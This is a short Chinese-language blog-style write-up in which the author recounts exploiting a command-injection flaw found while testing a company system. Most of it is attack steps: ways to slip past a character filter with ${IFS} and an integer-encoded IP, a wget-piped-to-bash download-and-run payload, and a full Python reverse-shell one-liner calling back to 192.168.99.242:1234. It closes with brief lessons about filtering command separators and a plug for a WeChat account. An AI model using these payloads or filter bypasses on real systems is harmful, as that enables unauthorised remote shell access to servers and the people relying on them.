今天下午在公司测(mo)试(yu)的时候,通过搜索响应中的关键字,一处报错信息引起了我的注意:
开搞 首先whoami看下能不能回显: 显然不能。。 那我们用dnslog测试下:
好像过滤替换了不少特殊符号,经测试发现,除了.之外,如下关键字也都被替换为-字符了: ()&:/[space] 那只能换一种思路咯,我们先要证明下这个地方是否存在命令执行,过滤了.把ip转化为数字,这里用自己的服务器上的服务做下测试:
用wget命令测试,还要考虑空格的过滤,简单列一下常用的替换方式: 1、分隔符 {IFS}是分隔符的意思,所以可以有{IFS}起截断作用,9为当前shell进程的第九个参数,始终为空字符串,所以同样能代替空字符串进行分割。
2、重定向符
构造payload,注意用||和;分别闭合前后部分:111||wget${IFS}3162736550;
看来确实存在啊,那直接弹吧。编码(base64或者hex)绕过反弹shell中的特殊字符:
超过长度检测限制了,换个思路,用wget直接读取payload并执行。这里花了很多时间(还是我太菜了)。 1、wget下载文件内容:wget -q -O - xxx.com 2、管道符bash连接 最终payload如:11||wget{IFS}-O{IFS}xxxxxxxxx|bash; 发现日志中收到请求,但是监听端并没有反弹回来,应该是bash没有执行成功,换个别的语言的再试下(python)
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
这回有反应了,但是报错退出回话了
这是啥问题,可能菜是原罪吧,应该是路径/bin/bash不对,换成/bin/sh试试
反思:
1、通过响应中指纹关键词的搜索能很快定位是否存在相应的问题,如SQL语句的报错、代码执行的error信息等等;
2、命令之间的连接符怎么能不过滤呢?
3、真的菜
4、不想菜,多看书,看完变牛逼,资料白嫖公众号【哈哈哈我是小帅皮】